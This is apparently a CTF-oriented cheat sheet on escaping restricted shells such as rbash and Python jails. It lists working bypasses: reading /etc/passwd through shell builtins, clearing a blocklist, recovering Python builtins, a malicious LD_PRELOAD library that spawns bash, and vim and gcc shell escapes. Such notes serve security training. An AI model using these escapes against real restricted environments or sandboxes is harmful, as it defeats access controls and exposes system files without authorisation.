Restricted Shells

linuxprivilegeescalation escaping_from_jails bash_restricted_shells

A restricted shell such as rbash is a shell that restrict the action of the user to a limited list of commands/arguments. For instance, for rbash:

  • we cannot use commands with pathnames containing a "/"
  • we can use help to list available commands
  • we cannot use cd
  • more restrictions may be in place

To escape of restricted shells, we can try to use command substitution (ex: ls `pwd`), command chaining, or editing environment variables.

Common tricks:

  • List files: echo /* and echo /.*
  • Read a file: read f < /etc/passwd; echo $f
  • Read a file: f=$(</etc/passwd); echo $f

Use compgen -c, help, or <tab> to list available commands.

πŸ“š Sometimes, ssh [...] -t "/bin/bash --noprofile" may work.


Restricted Bash (rbash)

bash_restricted_shells

Enumeration

The readonly command is useful to list which variable you can't edit.

$ readonly
ENV
PATH
HOME

You can use declare to get information about your environment.

$ declare -x # remove -x to see functions
BASH_VERSINFO=([0]="4" [1]="4" [2]="20" [3]="1" [4]="release" [5]="i686-pc-linux-gnu")
BASH_VERSION='4.4.20(1)-release'
PATH=/tmp/void/
SHELLOPTS=braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor

Read a file

Method using mapfile:

$ mapfile array < /etc/passwd
$ echo ${array[@]}

Method using history:

$ export HISTFILE=/etc/passwd
$ history -r
$ history

Method using bind:

$ bind -f /etc/passwd

Python Jails

Additional reference: python payloads.

Python Jails Enumeration

Find variables and information about your context:

globals()     # global symbols (variables, functions)
locals()      # local symbols (function, method, block)
vars()        # without any argument, same as 'locals'
del __builtins__  # restore them
__builtins__.__dict__ # or __builtins__ if deleted
open = __builtins__.__dict__['open']
os = __builtins__.__dict__['__import__']('os')

Refer to introspection for a few more payloads.

Python File Write

pythonplayground

You can arbitrarily create files or python scripts using:

print("Hello, World!", file=open("/dev/shm/poc", "w"))
print("im"+"port os\nprint(os.getcwd())", file=open("/dev/shm/poc.py", "w"))

Python File Read

You can arbitrarily read files using:

file=open("/etc/passwd", "r"); print(''.join(file.readlines()))
help('print') # :e/path/to/file

Python Jails Escape

pythonplayground python_pyjail_2

Arbitrarily set a variable, such as the list of blocked commands:

setattr(__import__('__main__'),'blocklist',[])

Try loading modules using __import__:

__import__("os").getcwd()

Set the path to load arbitrary Python files:

setattr(__import__("sys"), "path", list(("/dev/shm/",))) ; __import__("my_file")
__import__("sys").path.append("/dev/shm/") # better?

Use breakpoint or help:

breakpoint() # then write any python code
help(len) # write m<cr>a<cr>|<cr>a<cr>your command<cr>q<cr>

Use python environment variables:

import os
os.environ['PYTHONINSPECT'] = 'abc'
# will pop a python shell when you trigger an exception

Refer to introspection for a few more tricks.


Special Scenarios

LD_PRELOAD

bash_restricted_shells

If we have access to a program that depend on LIBC and LD_PRELOAD, e.g. any command aside from the builtin functions, we may be able to pop a bash. For that to be possible, we need a malicious .so.

If gcc is available, we can easily compile one, while it's unlikely.

$ echo 'void _init() {' > /tmp/test.c
$ echo 'system("/bin/bash");' >> /tmp/test.c
$ echo '}' >> /tmp/test.c
$ gcc -shared -fPIC /tmp/test.c -o /tmp/test.so -nostartfiles
$ LD_PRELOAD='/tmp/test.so' gcc

➑️ If gcc is available, gcc -wrapper /bin/bash,-s . is faster.

VIM

bash_restricted_shells

If you can run VIM, it's easy to escape:

:set shell=/bin/bash
:shell

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • chroot (chroot xxx, chroot .., chroot .)
  • chw00t